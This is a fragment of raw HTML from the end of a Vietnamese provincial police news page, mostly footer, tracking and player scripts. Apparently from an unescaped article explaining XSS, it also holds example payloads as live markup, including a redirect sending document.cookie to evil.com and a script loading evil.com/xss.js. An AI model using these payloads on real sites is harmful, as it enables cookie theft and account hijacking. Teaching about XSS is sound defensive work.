alt="stay connected" height="83" src="/uploads/stay-connected.png" width="300" /></a> </div> </div> <div class="row"> </div> </div> </section> </div> </div> <footer id="footer"> <div class="wraper"> <div class="container"> <div class="row"> <div style="text-align: center;"><strong>TRANG THÔNG TIN ĐIỆN TỬ CÔNG AN BẮC KẠN</strong><br />Giấy phép số 04/GP-TTĐT, ngày 06/5/2021 do Sở Thông tin và truyền thông tỉnh Bắc Kạn cấp<br /><strong>Chịu trách nhiệm: </strong>Đại tá Hà Văn Tuyên - Giám đốc Công an tỉnh<br /><strong>Địa chỉ:</strong> Số 12, đường Trường Chinh, TP Bắc Kạn, tỉnh Bắc Kạn<br /><strong>Điện thoại: </strong>0692546100 -<strong> Fax:</strong> 0692546103<br /><strong>Email:</strong> conganbackan@gmail.com - <strong>Website:</strong> http://conganbackan.vn<br /><strong>Facebook:</strong> www.facebook.com/catbackan</div> <nav class="footerNav2"> <div class="wraper"> <div class="container"> <div class="theme-change"> <div id="contactButton" class="box-shadow"> <button type="button" class="ctb btn btn-primary btn-sm" data-module="contact"><em class="fa fa-pencil-square-o"></em>Gửi phản hồi</button> <div class="panel panel-primary"> <div class="panel-heading"> <button type="button" class="close">×</button> Gửi phản hồi </div> <div class="panel-body" data-cs="e90b8c6a8f68c373421ff54a4a7e84d1"></div> </div> </div> <div class="copyright"> <span>© Bản quyền thuộc về <a href="http://conganbackan.vn">Trang thông tin điện tử Công an Bắc Kạn</a>.  </span> </div> <a href="https://tinnhiemmang.vn/danh-ba-tin-nhiem/conganbackanvn-1710902213" title="Chung nhan Tin Nhiem Mang" target="_blank"><img src="https://tinnhiemmang.vn/handle_cert?id=conganbackan.vn" width="150px" height="auto" alt="Chung nhan Tin Nhiem Mang"></a> </div> <div class="bottom_bttop"> <a class="pointer bttop"><em class="fa fa-eject fa-lg"></em></a> <a href="https://thuongmaiso.com.vn/" title="Thi?t k? website ch?t lu?ng" target="_blank"><i class="fa fa-bullseye fa-lg fa-horizon"> </i></a> <a href="https://www.facebook.com/anninhbackan/" target="_blank"><i class="fa fa-facebook"> </i></a> <a href="https://www.youtube.com/user/nukeviet" target="_blank"><i class="fa fa-youtube"> </i></a> <a href="https://twitter.com/nukeviet" target="_blank"><i class="fa fa-twitter"> </i></a> <a href="/vi/feeds/"><i class="fa fa-rss"> </i></a> </div> </div> </div> </nav> </div> </div> </div> </footer> </div>  <div id="sitemodal" class="modal fade" role="dialog"> <div class="modal-dialog"> <div class="modal-content"> <div class="modal-body"> <em class="fa fa-spinner fa-spin"> </em> </div> <button type="button" class="close" data-dismiss="modal"><span class="fa fa-times"></span></button> </div> </div> </div> <div id="timeoutsess" class="chromeframe"> Bạn đã không sử dụng Site, <a onclick="timeoutsesscancel();" href="#">Bấm vào đây để duy trì trạng thái đăng nhập</a>. Thời gian chờ: <span id="secField"> 60 </span> giây </div> <div id="openidResult" class="nv-alert" style="display:none"></div> <div id="openidBt" data-result="" data-redirect=""></div> <script src="/assets/js/jquery/jquery.min.js?t=1711098333"></script> <script>var nv_base_siteurl="/",nv_lang_data="vi",nv_lang_interface="vi",nv_name_variable="nv",nv_fc_variable="op",nv_lang_variable="language",nv_module_name="news",nv_func_name="detail",nv_is_user=0, nv_my_ofs=-5,nv_my_abbr="EST",nv_cookie_prefix="nv4c_x8lo4",nv_check_pass_mstime=1738000,nv_area_admin=0,nv_safemode=0,theme_responsive=0,nv_recaptcha_ver=2,nv_recaptcha_sitekey="",nv_recaptcha_type="image",XSSsanitize=1;</script> <script src="/assets/js/language/vi.js?t=1711098333"></script> <script src="/assets/js/DOMPurify/purify.js?t=1711098333"></script> <script src="/assets/js/global.js?t=1711098333"></script> <script src="/assets/js/site.js?t=1711098333"></script> <script src="/themes/default/js/news.js?t=1711098333"></script> <script src="/themes/default/js/main.js?t=1711098333"></script> <script src="/themes/default/js/custom.js?t=1711098333"></script> <script type="text/javascript"> var _govaq = window._govaq || []; _govaq.push(['trackPageView']); _govaq.push(['enableLinkTracking']); (function () { _govaq.push(['setTrackerUrl', 'https://f-emc.ngsp.gov.vn/tracking']); _govaq.push(['setSiteId', '4052']); var d = document, g = d.createElement('script'), s = d.getElementsByTagName('script')[0]; g.type = 'text/javascript'; g.async = true; g.defer = true; g.src = 'https://f-emc.ngsp.gov.vn/embed/gov-tracking.min.js'; s.parentNode.insertBefore(g, s); })(); </script> <script type="text/javascript" data-show="after"> $(function(){ checkWidthMenu(); $(window).resize(checkWidthMenu); }); </script> <script type="text/javascript" src="/assets/js/star-rating/jquery.rating.pack.js?t=1711098333"></script> <script src="/assets/js/star-rating/jquery.MetaData.js?t=1711098333" type="text/javascript"></script> <script>doSomethingEvil();</script> <script>doSomethingEvil();</script> <script> window.location=“http://evil.com/?cookie=” + document.cookie </script> <script></strong></p> <p>Thẻ <script> là payload XSS đơn giản nhất. Thẻ script có thể tham chiếu code JavaScript bên ngoài hoặc nhúng code trong thẻ script.</p> <pre class="language-markup"><code> <script src=http://evil.com/xss.js></script> <script> alert("XSS"); </script> <script> $(function() { var sr = 0; $(".hover-star").rating({ focus: function(b, c) { var a = $("#hover-test"); 2 != sr && (a[0].data = a[0].data || a.html(), a.html(c.title || "value: " + b), sr = 1) }, blur: function(b, c) { var a = $("#hover-test"); 2 != sr && ($("#hover-test").html(a[0].data || ""), sr = 1) }, callback: function(b, c) { 1 == sr && (sr = 2, $(".hover-star").rating("disable"), sendrating("49066", b, "d20e4cd1b2954b39f0232c0c258a2436")) } }); $(".hover-star").rating("select", ""); }) </script> <script type="text/javascript" src="/themes/default/js/comment.js?t=1711098333"></script> <script type="text/javascript"> var nv_url_comm = ''; $("#sort").change(function() { $.post(nv_url_comm + '&nocache=' + new Date().getTime(), 'sortcomm=' + $('#sort').val() , function(res) { $('#idcomment').html(res); }); }); </script> <script type="text/javascript" src="/assets/editors/ckeditor/plugins/codesnippet/lib/highlight/highlight.pack.js?t=1711098333"></script> <script type="text/javascript">hljs.initHighlightingOnLoad();</script> <script type="text/javascript" src="/themes/default/modules/videos/jwplayer/jwplayer.js?t=1711098333"></script> <script type="text/javascript">jwplayer.key="HiGFdTCqQAh4dLqG271yFfdqMWKChJb3EYOWkw==";</script> <script type="text/javascript"> var blockInstance_nv7 = jwplayer("videoContBlock_nv7"); blockInstance_nv7.setup({ image: "", autostart: false, aspectratio: "16:9", controls: true, displaydescription: true, playlist: "https://conganbackan.vn/videos/player/33750-9e9b1bd63239254ef9c6cceb72d1bb8c-4962176/", displaytitle: true, flashplayer: "/themes/default/modules/videos/jwplayer/jwplayer.flash.swf", primary: "html5", repeat: false, mute: false, skin: {"name": "stormtrooper"}, abouttext: "Trang thông tin điện tử Công an Bắc Kạn", aboutlink: "https://conganbackan.vn", stagevideo: false, stretching: "uniform", visualplaylist: true, width: "100%" }); </script> <script src="/themes/default/js/contact.js?t=1711098333"></script> <script src="/themes/default/js/bootstrap.min.js?t=1711098333"></script> </body> </html>